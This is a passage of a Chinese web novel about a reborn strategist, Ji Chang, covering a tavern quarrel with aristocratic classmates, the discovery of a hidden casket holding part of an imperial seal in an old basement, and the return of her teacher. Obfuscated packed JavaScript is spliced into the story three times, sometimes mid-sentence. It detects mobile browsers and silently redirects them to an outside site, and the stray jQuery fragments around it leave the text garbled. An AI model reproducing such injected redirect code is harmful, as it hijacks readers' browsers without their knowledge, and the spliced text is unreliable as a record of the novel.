对方看起来似有木、凪两部的血统,五官深邃,身量高挑,穿着一身小厮的衣服,年纪大概刚过束发,迈步中藏不住一丝轻浮,举止也难以称得上一句君子。 现下正与季昶说着什么,看起来倒是比寻常小厮亲昵。 或许只是瞧个新鲜,温昭心想。 “看什么这么入神?”长孙明轩顺着温昭的视线往下看,居然是季昶。 “季昶?他怎么在这。”长孙明轩低喃了一句,又想起上次温昭就是他救的,随口问道:“你跟季昶关系很好?” “尚可,不过在下更钦佩她。”上辈子这个时候他跟季昶的关系的确是仅能称得上同窗,平时在书院都甚少交流。 倒不如说除了长孙明轩外其他人几乎都没有交流。 上辈子作为云澜温氏的二郎也不是什么人都可以与他有私交的。 “倒是难得听你这么说......哦,书院里戏称的云澜双子,说的好像就是你跟季昶?”长孙明轩突然来了精神,“那不如就把他俩叫上来。” 长孙明轩招来小厮,吩咐他下去邀请季昶上来一块。 “万一季昶有什么其他要紧事......” “有要紧事买了那么一堆东西啊?”长孙明轩指着底下跟着季昶的一堆家丁,除了两人手上空无一物,其他的都大包小包的,一看就知道是在逛街。 然后季昶又不知在路边看到了什么有趣的玩意儿,停了下来。 温昭要抬起阻拦的手还是放下了。 小厮很快走到季昶身边,季昶一眼看到他的装扮和上边的纹饰就知道是长孙家的,于是问道:“你是长孙家的下人,是你主人家找我有什么事?” “季小郎君真是聪慧绝顶,我家郎君正在兰香阁二层雅间,想请您上去一叙。” 在长孙家能称得上“我家郎君”而不必说其他前缀的,自然只有在琉光长孙氏就是集万千宠爱于一身的长孙明轩。 季昶一抬头看到长孙明轩举起酒杯向她示意,看起来似乎有些微醺了,对面正坐着温昭。 她想了想还是决定给长孙明轩这个面子,跟拿着东西的家丁说把东西先送回月家,其他人在楼下待命,就带着季初上去了。 毕竟一来这辈子是当主公不是当谋士,自然与有些人的交流不能想上辈子那般按自己喜好来,就如长孙明轩,身后代表的不仅是云澜长孙氏,更是琉光长孙氏,即使不想交好,明面上也得过得去。 二来是对方毕竟是温昭的好友,自己作为温昭未来的主公怎么说都得给他一些面子嘛。 上辈子长孙明轩最后如何了?好像是去追寻自己的道了,也不知那个混乱的时代能否找到他想要的。 季昶这样想着,跟着小厮来到了门外,季初刚要留在门外就听屋里长孙明轩说:“一块进来吧。” 季初看了季昶一眼,看自家主子没有其他指示,就跟着进去了。 “长孙兄、温兄。”季昶恭敬向二人依次行礼。 温昭起身回礼,长孙明轩只是懒懒看了她一眼,指着一旁的座位示意她坐下。 季初低头站在一旁,让人看不清神色。 季昶早就知道长孙明轩对她的态度,也不恼笑着坐了下来,就听他道:“会喝吗?” 季昶无论哪辈子都爱整上几口,特别是上辈子当谋士时,时常压力过大找点乐子。 但如今毕竟身体还是个小孩,喝多了怕影响大脑发育。 虽说这时候的酒度数一般都很小,喝起来像水一样,季昶还是笑着摇了摇头:“在下年纪尚小,不善此道。” 话音刚落,温昭就倒了一杯茶放在她一旁,季昶笑着接下,小声道谢。 桌上还散落着信件,季昶视而不见,只与温昭小声谈论关于过两天开学的事。 “你,”长孙明轩指着站在一旁的季初,挑了挑眉问道,“你总会喝吧。” “巴木人?还是沧凪的?”长孙明轩让人给季初端过一杯去,季初看了季昶一眼,见她没有阻拦于是一口闷掉。 “好!”长孙明轩终于痛快了,来了仨人终于有人能与他同饮,于是起身拉着季初坐下,“你来陪本公子喝。” 季初沉默无言,只是又喝了两杯。 “阿初是孤儿,自小在大乾长大,或许是有木、凪二部血脉,不过战乱嘛,也正常。”季昶略微替她解释。 若是私逃过来没有身份的木、凪二部的人,可能会被那边的人绑回去吊死。 但前些年战乱不断,就一直有许多木、凪两部与大乾人一同生下的孩子,现在 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“某国家国力衰退时,就靠女子和亲,而那女子又不愿该如何。” 长孙明轩盯着季昶,仿佛是在问她,又仿佛是在问自己。 “不愿又能如何。”季昶只低头饮茶。 长孙明轩气的捏着杯子,似要发作,怒极反笑:“怎么,云澜神童也认为这个女子该去和亲?” 季昶淡淡道:“不愿的女子多半是平民百姓或是寒门族女,为了和亲封个公主郡主之类,家里人被威逼利诱,她愿与不愿又如何?” “自己国家大多视其为屈辱,而对面国家也不会善待她,许多和亲女子不过是早死他乡。” 长孙明轩闻言将酒杯朝着桌子重重一砸,酒液洒在手上他也浑然不觉,只是眼睛气的红了。 “可她是那么才华横溢。” 季昶早在他举例子的时候就想起来上辈子长孙家有一个族女进宫当了贵妃。 现在士族对皇室也就表面恭敬,这种还拿自家族女去“献媚”皇帝的手段,多半会受许多士族不耻,而且她如果没记错那个族女是长孙明轩的亲姑母。 “这世道当真是不公!才华横溢者被困于牢笼,真才实学者被挡于家世。” 季初却在此时直起身,像是怎么都忍不住了,出言讥讽道:“不公?” “你们琉光长孙氏一次宴会倒掉的饭菜能养活那一条街的乞儿,你享受着家族荫庇,却在这里说痛恨世间的不公,惺惺作态!” 说完将手上的那杯酒当水一样一饮而尽,说自己失言了,季昶摆摆手让她到房间外等候,她风风火火的出去。 早在那个长孙家的小厮来邀请她们时季初就凭借他衣着的纹样认出来了,进屋后那个世家二世祖又几次三番对自家主子态度不敬,她都忍了,刚刚实在没忍住骂了回去,现在冷静过后突然意识到自己似乎是闯祸了。 她气恼的走来走去,给自己那张破嘴抽了一巴掌,刚刚连打他都忍住了,就非要呈口舌之快。 季昶一早就发现季初似乎不太对,从进门就过于沉默了,这会儿讥讽回去季昶倒也没有太意外。 害,大不了就是自己收拾烂摊子呗,我可是主公。 季昶起身向长孙明轩告罪,说刚刚阿初酒后失态,冲撞了公子,自己回去会好好规训她。 长孙明轩还沉浸在刚刚那段话中,闻言看了一眼季昶,沉默了一会道:“你也没有否认他的话。” 长孙明轩摆摆手,她一看对方也不似真的生气了,又看温昭朝自己使眼色,于是与他俩告别,走出了房间。 7. 将军 季昶出门后就看到一脸纠结的季初,她犹豫了一会儿说道:“奴知错,回去任凭郎君惩罚。” “之前让你自称什么?” “初......知错,请求郎君责罚。” 二人下楼,一路季昶沉默不语,看不出什么其他态度,季初更是忐忑不安了起来。 说实话,她跟了季昶约半月时间,只听那群部曲姐妹说自家郎君多么多么好,到现在除了初见那会儿还没受过她的发难,甚至那会儿也算不上什么惩罚。 她知道能让这么多人心甘情愿夸赞的人,不可能没有她的手段,只是她到现在还看不透季昶,对方有时候表现的真如十二三岁的小儿那般。 季昶又买了许多东西,季初在一旁抢着拿,另外那些家丁根本抢不过她。 到家后,季昶也是照常吩咐下去把东西放好,就回了自己的院子,季初赶紧跟上。 一回院子,季初就跪了下来,俯身等候季昶的惩罚。 季昶给一旁有些错愕的诗语一个眼神,让她把院子大门关上。 院中只剩下她俩与诗语砚秋四人,季昶沉默一会说道:“你既然说知错,那我问你,错在何处。” “初今日不该说那样的话,给郎君惹祸了。”她知道这些世家大族的手段,回来的路上她都想过若那边真的要发难自己就去长孙家谢罪,要杀要剐随便那个二世祖如何。 “何止是不该,”季昶冷漠开口,“你可知当初我留你在身旁是看中了你什么?” “你反复无常,行事狡诈,但为人机敏、善于审时度势。” “今日长孙明轩屡次对我态度不屑,你可见我有一丝不快之色?”季初闻言抿了抿嘴。 “你郎君我再厉害,现在不过是商贾之子,以后这种事多得很,还有更多身份比不得长孙明轩的士族子弟对我态度更是恶劣,那时我如何放心你待在我身旁?” 季初闻言抬起头,急声道:“郎君!” “算了,你先回庄子,罚你每日多绕着庄子跑十圈,等什么时候长孙明轩气消了再说。”每日多跑十圈,一般人得累瘫了。 季初吓得出了一身冷汗,她刚才以为季昶不要她了,比起惩罚,刚刚郎君的话让她更是恨不得揍自己一顿。 这些时日,她在庄子上过得简直是梦一般的生活,没有人会驱赶她,一日还能吃三顿饭,三顿饭都吃的饱饱的,也不必担心会有生命危险。 每日与女兵们一同操练,虽然又苦又累但也过得充实,闲暇时与她们说笑,有男兵不服气来挑衅她就去偷着揍那人一顿,还会被众人喝彩。 晚上与姐妹们一同睡在一起,被窝暖暖的,宿舍也不会漏风滴雨,庄子里的小孩和老人们也很好,就像到了世外桃源那般。 不知不觉中,她已经对季昶有强烈归属感了,会以季昶的利益为先。 季初退了下去,她知道主子也是为自己好,让她这阵子先在庄子避避风头。 “郎君对她可真好。”砚秋忍不住小声说,要她说这种管不住嘴的东西还是趁早发卖出去,当初郎君救她一命现下还又惹祸端。 “罢了,本来就没说错什么。” 站在长孙明轩视角,他最敬爱的姑母要牺牲自己的自由换取家族荣耀,他愤懑不平情有可原。 但站在季初或者是大多数平民的视角,世家子弟还有闲情逸致诉说天道不公,而她们这些人从出生的那一刻起就是不受天道注视之人,连公平的滋味都没尝过,又谈何不公。 而她季昶作为一介商贾之流,再是如何才华横溢,若不是有那神童之名引皇帝注意,被招去太学,上辈子连入仕的机会都没有。 季昶脑海里又浮现出上一世那个形容枯槁的女子,她那时看这人在皇宫被磋磨的仿佛丢了魂魄,一时心软就去向慕容桓低了头,只可惜她回去后都没撑过几日。 而自己也差点就被牢笼锁住了。 “什么时日了?”季昶捏捏眉头,好像有什么事被她忘记了。 “回郎君,还有七日就三月了。” 哦,三月,如果记得不错后日老师就游历回来了,届时所有学生都在书院恭迎他老人家平安归来。 然后三月三会有书院雅会,许多云州或其他州对季元鸿有崇敬之心的文人也会来。 上一世自己为了名声,提早就作了一篇赋,雅会上稍加修饰让人以为是现作,一时间少年天才的名声随着那日盛会传遍大乾。 季昶苦笑,太中二了,这辈子她是绝对做不出这等显眼事。 等等,季昶停下脚步。 诗语看自家郎君不知为何停在了屋中,似乎是在思索什么,与砚秋对视一眼后慢慢退至门外。 三月中旬,贺兰将军大胜黎骨,班师回朝圣上大悦,封贺兰骏为智勇骁骑大将军,亲自提笔写下“骁勇善战”,一时风光无两,无数赏赐如同流水,贺兰家如日中天。 入夏,南边又有战役,贺兰将军依旧挂帅出征,却不幸受重伤一直昏迷不醒,抬回乡里养病也无济于事,最终死于寒冬。 贺兰家的荣誉如同一阵烟花,绚烂却短暂。 上辈子她就有所怀疑,贺兰骏自小武功盖世,又身强体壮,按理说不该会有受这么重的伤。 当时也去看望过他,却只知道中了黎骨的毒,但处处透露着蹊跷。 后来贺兰逸倒是有说漏嘴,说怀疑是有内鬼,但再问就不肯多说,她那时精力有限,也只能派人去查。 但一直没查到什么有用的消息。 之前一直觉得是入夏的事,但或许在三月中旬班师回朝时就有预兆。 贺兰将军本就年少成名,年纪轻轻封其为“智勇骁骑大将军”已经是无双荣耀了,又亲手题字,是否有些过了? 那时只替贺兰家感到高兴,现在仔细想想或许正是站的太高了,才引人嫉恨。 又或许,这正是端坐明堂的那位想要的结果。 自古功高盖主者大多不是鸟尽弓藏,就是不得善终,可惜这么简单的道理上辈子的自己都想不到。 那时的自己又何尝不是下一个贺兰将军。 “郎君,刘工求见。”诗语进门轻轻通报,季昶收拾好心绪,道:“请至会客厅。” 贺兰将军的事还有些时日,自己要好好考虑如何让他们度过这次杀局,眼下还有其他要紧的事。 所谓“会客厅”原本是月家的书房,但季昶刚穿来时闲来无事就把那书房中的书全部看完了好多遍,里边的好多书不说全部也至少有七八成滚瓜烂熟了,所以就一直空着。 后来季昶一想,反正那些重要图纸之类的都放在自己屋里,且做了加密处理——数字全部写阿拉伯数字,有些字就写拼音。 所以就把书房改成了与月家工匠、掌柜等的会客厅,反正本来就挺大的屋子。 前两天她吩咐下去,开发城西那块地,她要建庄子但又不完全是庄子,要集军营、工厂、农场于一体,城西那边多山石,同样适宜建窑厂。 同时她还派人去云澜郡西山上看看有没有矿脉,按理说云州矿产丰富,那边不应该没有。 “郎君。”刘工看季昶来了,连忙起身行礼,季昶点头,坐至主位。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244519|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看刘工忍不住激动的道:“郎君,工人们在翻那片地时找到了许多似是甲胄、兵器等的钢铁旧物,小人看了看这些物品均可再重新投入炉中锻造。” 历经这么多年风雨居然还留存了这么多,可见当时战役战况多么激烈。 “且那片地原本建的庄子,庄子正中屋子下还有地下室,那门原本十分不起眼,不过历经几十年后就裂了道缝,小人下去看了一眼似乎是一些古董字画等,不敢迟疑派人在那边守着就来与郎君通报了。” 今日月姨又去其他郡做生意去了,春季客商云集,最近忙得很。 季昶思索片刻与诗语道:“准备适宜行动的衣物。”又让砚秋去备马车,同苏嬷嬷吩咐了一声便带着人出发去了城西。 去时已是日薄西山,那片荒地外围还是杂草丛生,只是清理出一条勉强供马车过去的路,往里走视线豁然开朗,许多地被翻出来,来年这些地就会种满粮食。 路越来越开阔,不需要刘工指路,她们就到了地方,周围围着一堆人,看到月家马车浩浩荡荡的来了,身后还乌压压跟了一群人,忙让开路。 季昶从马车里下来,与他们点头致意,刘工有些晕车,从后头的马车下来脸色发白。 本以为那屋子得是一滩废墟了,但到了地方却发现还能看出房屋结构。 石土堆叠隐约能看出当年雕刻的纹样,那些木质结构有些像是被烧焦了,散落在地上。 进屋后季昶大概思索了一下,沿着长廊走至主屋,果然在主屋内某个角落看到了一个石门立在一侧。 屋中大多木质、石制家具都还在,除了有些许破损外几乎让人看不出这是几十年前的老物件,大多都整齐的摆放在那里。 似乎透过这些家具,能让人看出这家主人生前是个规规矩矩、一丝不苟的人。 嗯,倒是跟月姨的性格有些不一样。 那石门已经让人撬开了,一条幽深的小道曲折向下,砚秋将周围烛台点燃递给季昶,与其余家丁停在原地待命。 季昶带着诗语下去,二人小心踏着石阶下到地下室。 刚下来,想象中的浓郁气息并没有扑面而来,季昶猜测这个地下室或许建有通风口。 将墙上的烛台点燃——季昶不想考虑那烛台里燃烧的是什么,总之看起来不像蜡烛。 地下室逐渐明亮起来,季昶才发现这个地下室比她想象中的大得多。 首先映入眼帘的是几排书架,上边摆放一堆古董字画等,看得出字画封存时有很好的保存了,但也因这些年的风霜有许多发黄变脆了。 古董大多保存完好,还有一些孤本,季昶大概翻看了几本就放到一边,这些之后都需要安排人再镌抄一遍。 再往里走也大多是些类似的物什,在和平年代价值连城的东西,在那时大多是废品,所以被留了下来。 与其说是地下室,不如说是私人藏品展,字画、书籍、古董分门别类放在不同的架子。 再往内似乎还有一个房间,季昶借着烛台的光,观察了片刻应该没什么其他的。 一旁的诗语上前轻轻推动,门就开了。 里头是一间卧房,季昶猜测这个地下室可能是这个卧房主人建好后专门待在里头,与这些宝贝一同生活。 有点类似于她原来那个时代的“痛房”? 里头摆设也并无什么特殊的,最多能体现出之前这个卧房的主人是个很有品味格调的人。 在底下呆久了有些压抑,季昶打算上去,却在余光间瞥见墙上挂着一面铜镜。 季昶走上前去,仔细端详。 8. 匣子 在地下室的卧房中挂铜镜硬要说也勉强合理。 奇怪的是这面镜子的位置。 竟然是冲着卧房内的床,这就不太对了吧。 季昶仔细观察了一下推测这个镜子应该可以挪动。 诗语上前把这面镜子搬下来,是镶嵌在墙中的,却发现后面什么都没有。 “郎君。”诗语谨慎的看了季昶一眼。 按照一般套路来说,这个镜子后边必有什么宝物或者重大发现之类的。 季昶仔细观察了一会儿室内,发现虽然大多数物品都如几十年前那样静静地摆放着,但某些柜子和床脚却有奇怪之处。 “不够整齐。” 季昶喃喃道。 刚刚在屋外看到摆放的字画书籍等她就有点感觉到违和了。 字画、书籍、古董等的摆放有专门的架子,按理说这些东西也不会随意摆在上边。 可是那些书籍和字画都略显凌乱的堆在那里,当时觉得或许是因为当时因为战乱逃难所以走的太急了。 现在再结合屋内的柜子和床脚,明显有被拉出来的痕迹,两边的缝隙差距过大,应当是原本移动过但后来又随意挪回了原位。 有人翻动过这个地下室,还是在月家都逃难后,是在找什么? 还有这个镜子,为什么偏偏放在这里,但后方又确实没有什么东西。 季昶仔细看了一下镜子后那面墙,又敲了敲,确实没有东西,不存在夹层之类的。 被人拿走了?还是说,这个镜子只是个引人瞩目的靶子? 又或许根本不存在什么东西。 “半个时辰了郎君。”诗语在一旁提醒,外头现在还聚着一堆人,待时间太久是有些奇怪了。 季昶点点头,示意她把铜镜放回去。 看来只能下次过来时再找找看了。 季昶看着诗语一点点将铜镜放回那个墙上凹陷处,镜子后半部分与墙严丝合缝的融为一体,只留下前边外围一部分,看起来很是精妙。 透过铜镜,能看到她们两人的人影和手上拿着的烛台散发出细微的光,因为镜子表面凹凸不平有些变形,看上去莫名诡异。 她突然有个想法。 “看看这屋里是否有烛台。” 二人在这个本就不大的房间找了起来。 “郎君,这里有两个。”诗语点燃那两个烛台,同时季昶也点燃了两个。 随后最后一个烛台也被点燃时,整个屋子亮如白昼。 这么小一间屋子,居然一共在墙上、桌子上共五个烛台。 “将手中的火灭了。” 果然剩下那几个烛台的光经过那个铜镜的变形后形成了一些形状各异的光斑。 最后,所有光斑的交汇处,一个最亮的圆形小光斑,正落在床一旁的墙上。 诗语过去敲了敲,比较了片刻,道:“这处与旁边的墙有轻微的不同,后边应当是空的,只是这层石墙挺厚。” 没想到走着一趟还得干矿工的活,季昶吩咐她上去找砚秋,让砚秋借把锤子和凿子来。 砚秋看着直率,实际上很是圆滑机灵,什么话该怎么说不用吩咐她就会。 果然,不到半刻钟砚秋就下来了,凑上来邀功:“我刚刚跟刘工说咱们郎君突然诗兴大发,要凿子把那地下室提上首诗,那刘工瞬间对咱们郎君肃然起敬!” “人家怕不是觉得你郎君我是装货。”季昶指着那个光斑,示意她凿下去。 “郎君您又说奴听不懂的话了,‘装货’又是个啥意思。”砚秋手虽然在干活,嘴也闲不下来。 “意思就是,故作姿态刻意卖弄。” “切,他想买弄肚子里还没墨嘞。”砚秋自小是她们仨中武功最好的,这凿子在她手上十分听话,几下就把那墙凿穿了。 砚秋借着光瞧了瞧:“郎君,里边有东西。” 透过洞口,看到里头是一个巴掌大的匣子,大概能把那东西拿出来后,砚秋停下了动作。 “你继续。”季昶走上前,把那匣子拿出来,似乎被锁起来了,但应该不是特别精巧的锁,回去看看能不能撬开。 “啊?这不是拿出来了......还凿啥?” “诗啊,不是你说的我诗兴大发,要在墙上凿诗?”季昶揶揄道。 一旁诗语偷摸笑,给了她一个“无能为力”的眼神后就开始看乐子。 “我,我哪会作啥诗嘛。要不郎君你作完我凿上。”饶是砚秋再怎么机灵,这会都说不出啥来了,没办法,自己一时胡诌就得承担后果。 “罢了,你就凿个‘到此一游’吧。”季昶本来就是跟她闹着玩的,时间不早了也不难为她了。 待砚秋凿完,几人转身上去,匣子已经被诗语拿着了,同时她手里还拿了几册孤本,看上去倒是很正常。 待会得把外边这些运回去,然后把这里炸掉。 那么复杂的把这个匣子藏起来,后脚又有人专门过来找,甚至外边那一堆价值连城的宝物不及这个小匣子。 必须将这里毁掉。 家丁们小心翼翼将那些古董字画搬上马车,季昶站在首位注视着这些几十年前被存入地下的原主人的私藏,现在又得以重见天日。 诗语已经将东西放入马车了,本人也在车上候着。 砚秋把凿子等工具还给刘工,用四周人都能听到的声音说道:“我家郎君说了,刘工你此次有功,底下这些工人们也有赏。” 刘工喜笑颜开的收下,赶忙向季昶拜谢。 他们这支施工队都是给月家干活的,跟其他人不同的是,他们只需要干工程就好了。 这些年一直有活干,有活干就发工钱,遇到主家满意的时候还会有其他奖赏。 月家生意遍布云州,主家格外大方,平时吃食都比别家吃得好,所以大家伙也都干的高兴。 幸亏她来的时候带了足够多的人和车马,就这各车都满满当当的。 爆炸声在身后响起,季昶掀起车帘,看着那历经风霜的建筑在轰鸣中逐渐坍塌,云澜月氏的那段历史也随之埋藏在地底。 一路顺利的回到家中,也没遇上想象中的劫匪之类的。 月云华听到动静就出来了,看到月家的车马排了整整一条街。 “月姨!”季昶跳下车,身上还披着披风,月云华看她似乎拿着什么东西,知道这不是说话的地方,引她进门。 苏嬷嬷在一旁吩咐将那一车车东西从侧门拉进月府。 到了前厅,月云华道:“这么晚了,在外头吃饭了没?” 季昶今天在外头跑了一天了,听下人说今下午刚回来就又出去了。 “还没嘞,嘿嘿。”不说吃饭还好,一说这会儿就饿了,月云华一副我就知道你的样子,吩咐下人去端来汤。 “先喝点汤垫垫肚子,一直让人在火上煨着。” 季昶把匣子放在一旁的桌子上,喝着汤。 她早在路上就把匣子用布包起来了,让人从外头看不出是啥。 月云华看到那个包裹,问道:“这是什么?看你抱一路了。” “孤本。” 月云华才不信她跑外头会为了书,但也没继续问。 看着季昶吃完了晚饭,月云华刚要问那一车车东西又是去哪儿买的时,就看季昶神神秘秘的凑过来。 “走,月姨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月云华一下子跌坐在椅子上,脸色严肃,手攥着椅子扶手稳住身形。 说是玉玺,实际上是玉玺的一部分,大概占了四分之一,季昶怀疑这个应该是用东西劈开的而不是摔成这样的。 除此之外,一旁还有一个玉扳指,季昶拿起来看了一眼,跟自己手上带着的那枚玉戒以及玉玺的成色相似,看起来像是同一块玉料。 季昶当机立断将那四分之一的玉玺放进盒子里,道:“这个匣子是我在城西那片地的地下室找到的。” “应该是当初月家逃难时不知道还有这么个物件,那几车书画古董也都是那地下室的。”季昶一边说着,一边小心翼翼的看着月云华的脸色,看她没有伤心的神色,继续道: “匣子被藏在墙里,十分隐蔽。原本我也不知道有这匣子,只是我看四周似乎有被人翻动过的痕迹,于是猜测有人下来找过东西……现在看,或许找的正是这个。” 月云华的脸色一时间变得难看起来。 “那地下室……” “已经命人炸了,现下那一片都已经是废墟了。”季昶轻抚上月云华的手,将扳指放在她手里,让她安心。 “好,你做事最是稳妥。”月云华喃喃道,手轻轻摩挲扳指,心中却不知在想些什么。 这模样让季昶又想起那晚的事,心想月姨或许是又回忆起往事了,却也不敢打搅。 自那天之后月姨经常会自己一个人发呆,听苏嬷嬷说早些年的时候她也这样,只不过自从生意好起来了,后来又捡到了季昶后就没那么多空闲时间发呆了。 季昶浅叹口气,看月姨似乎还沉浸在自己的世界里,将匣子放在桌上转身准备走。 “昶儿。” 月云华犹豫片刻,似乎是要说什么,欲言又止后又摆了摆手:“走吧。” 季昶转身出门将门关上。 “郎君。”门外苏嬷嬷正守着,季昶同她点点头,带着诗语砚秋走了。 微风轻拂薄云,露出的月光如霜洒在地上,静谧的夜晚却注定有人难眠。 9. 回程 前几日就收到季元鸿要从外地游学回来的消息,恰好书院学生们的春耕假要结束了,大多数学子都选择这几天返回书院。 来致远书院学习的学子大多是云州本地穷苦人家的孩子,连寒门出身的学生在这儿都算得上颇有家底的。 只要有一颗好学的心,交一点束脩意思一下即可,交不起束脩的平日里帮着书院做工等都是可以抵一些费用的。 如果这些工作抢不到,还可以去找月家在致远书院的管事,她可以帮忙安排一份风月雅舍的抄书工作。 “风月雅舍”是月家的书馆,在整个云州都有分店,是“高阳纸”在云州的“独家代理商”,所以这个书馆刚成立没多久就已经开遍整个云州,且名声甚广。 因着致远书院的学生不看家世,所以士族也不愿与之为伍,更喜欢将孩子放在族学里。 士族绵延数十上百年,其中一个原因便是族中收集了许多教育资源,族中子弟皆可享受一族的教育资源。 家族内部,老师多为亲人长辈,传授的内容比官学更加精深广博,涵盖了经史子集、科技艺术等多个领域?,通过这种世代相传的方式,培养出一代又一代名扬天下的大儒。 家族成员在朝廷和地方的任职,又反过来巩固了士族的地位,这也是为什么世家大族根本不怕朝廷甚至有些私底下看不起朝廷的原因。 所以像温昭和长孙明轩这样纯粹仰慕季元鸿来求学的士族子弟屈指可数。 至于为什么月家在致远书院也有驻扎的管事,这当然是因为书院当初就是月云华出资建的,包括现在书院请的先生都是靠月家出钱,不然光靠那零星的束脩也就够他们一学期笔墨钱。 平日纸笔、住宿什么的也都是月家负责,所以大多数学子和云澜当地人对月家都是很有好感的。 月家拉动了云澜及云州经济,还帮着建立书院利于当地学子,连云州州牧对月家都不刻意为难,云澜郡郡守更是对月家礼让三分。 现下,季昶正与书院其他诸位学子一同在云澜城门外等候季元鸿的归来。 因为季昶本人与月家的关系包括许多人不可明说的猜测,所以像这种事季昶往往站在学子首位,身侧贺兰双子一左一右。 温昭和长孙明轩也站在一旁,他们两家一个负责书院学子的吃食,一个当初来时就赞助书院建了几间房,又因为温氏和长孙氏的名声在外,众人除了几个当初为了他俩来的士族子弟也没有往他们身边凑的。 他们几人四周有一圈真空地带。 温昭首先与季昶寒暄,问她这几日可好,季昶也反问他身体恢复的如何,偶尔贺兰双子也插几句嘴,一时间除了长孙明轩外其他几人其乐融融。 “那个外藩人怎么最近没跟着你。”长孙明轩突然开口,季昶预想到他或许会开口为难又或许会当做无事发生,却拿不准这时他的态度如何,只模棱两可道: “那日之后罚她去庄子上了,之前无礼顶撞了长孙兄,还望长孙兄海涵。” 长孙明轩又不说话了,季昶不知道他这是哪门子少爷脾气。 温昭在一旁浅浅一笑,用眼神示意她不必担心,季昶不置可否。 那日之后温昭有劝过长孙明轩,他本身也不是个计较的人,只不过是那时的话恰巧触动了他,让他一时间不知如何是好。 今日真的听到那个人因为一句话被罚了,又仿佛印证了他那时说的那句话,顿时感觉无比的讽刺。 “老师来了!” 原本喧嚣的人群中不知道是谁先说了这么一句,众人皆屏息凝神往远处看去。 季昶也望着远处,希望找到哪个熟悉的身影,她已经许久没有见过老师了。 马车在土路上溅起些许灰尘,马蹄声哒哒的和着车轮的声音,随着赶车人“吁”的一声,马车停了下来。 赶车的是一位二十左右的男子,众人看到他后高兴地叫着“闻芳师兄”。 沈闻芳下车笑着向他们行了一礼后转身将马凳放在一旁,其余人看到他的动作也一同拱手等候车中人出来。 车帘被缓缓拉开,一个看起来四五十岁精神矍铄的儒雅男子从车中出来,身旁还跟着一名十二三岁衣着俭朴的小郎君。 众人知道这又是老师“捡”回来的学生了。 “恭迎老师!”学子们纷纷行礼,再抬头却看见他转身去了后方的马车。 “闻芳师兄,老师这是?”季昶开口问道,众人不敢乱动在原地等候。 “老师这次给我们带回来一位师弟一位师妹。”沈闻芳笑着看向季昶,说话令人如沐春风。 他也许久没见季昶师弟了,看起来似乎比之前高了许多,刚要笑着摸摸季昶的头就注意到一旁看向这边的温昭。 “温师弟,长孙师弟。”沈闻芳最后还是轻拍了一下季昶的肩膀,继续笑着向二人打招呼。 饶是长孙明轩这等世家子弟也对沈闻芳恭敬行礼,毕竟这位与那些只表面光鲜的人做派不同,沈闻芳是一名真正光霁月明的人,书院里学子对他的恭敬程度仅次于季元鸿。 季元鸿很快带着一位六七岁的小女孩从后方的马车上下来,穿着像是路边乞儿,看起来怯怯的,死死抓着季元鸿的衣角。 “来,璞儿。”季元鸿一边被那小女孩拽着袖子,一边招呼一旁那位十二三岁的小郎。 “老师,这位是?”季昶发出了跟上一世一样的疑惑,只不过她疑惑的是那位小女孩。 上辈子季昶只记得季元鸿带回来了成璞,也就是那个与她年纪相仿的小郎,他是季元鸿早些年认识的友人之孙,那位友人是名工匠,后来年纪渐长又不希望自己孙子走自己老路,希望能跟着季元鸿学习。 如果她没记错,上辈子成璞似乎被某位夫子评价为“平庸木讷、朽木难雕”,之后她及笄后去了琉光城就不知道如何了。 至于这个小女孩......季昶低头看向她,一双黑色的大眼睛明亮亮的看着自己,胆怯中又流露出一丝倔强,让人联想到孤傲的小狼。 没记得上辈子有这么个人,看来是蝴蝶效应? “这是为师早年的友人成柏山之孙,成璞。”季元鸿笑着示意成璞向前打招呼,并未多说什么其他。 成璞不愧他木讷之名,简单向众人拱了拱手后就站在一旁呆呆地站着,看起来社恐极了。 其他人跟他回礼之后并未感觉他有什么特别的,毕竟书院里有接近四分之一的孩子都是各处捡来的,大家也早就习以为常。 上辈子季昶还挺爱逗他,感觉老实人逗起来格外有意思,现在想想有种调戏良家民男的感觉,自己怎么说也是要当主公的人,得从小就注意自己的言行举止才行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244521|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是季昶只是朝着成璞呲牙笑笑,拱手道:“季昶。” 看着他紧张的攥着自己的袖子,点点头后就面露羞涩转过头避免与自己对视,季昶无所谓地笑笑转身去看向季元鸿,用眼神询问那个小女郎是怎么个事? 季元鸿抬起手想缕缕胡子,结果忘记自己的衣袖还被紧紧攥着,失笑道:“这是衡儿,路上偶遇,她就说来话长了。” 一行人进城后向书院走去,因着书院离城南门较近,所以每次都在城外下车,带着学生们一同徒步回书院。 其意是提醒学子们在学习之余勿忘民生,不可两耳不闻窗外事,读成书呆子。 一路上往往会有许多人注视行注目礼,这也是许多学生愿意来接季元鸿的原因之一,毕竟十分气派啊。 往常季昶和贺兰双子这会儿都会闹着问季元鸿或者沈闻芳一路上的趣事,但现在季昶没问,贺兰双子也只好去小声问沈闻芳,毕竟他俩怕季元鸿突然抽查功课就糟了。 季元鸿一边应付着周围学子们的热情询问,一边把季衡的来历说了一下。 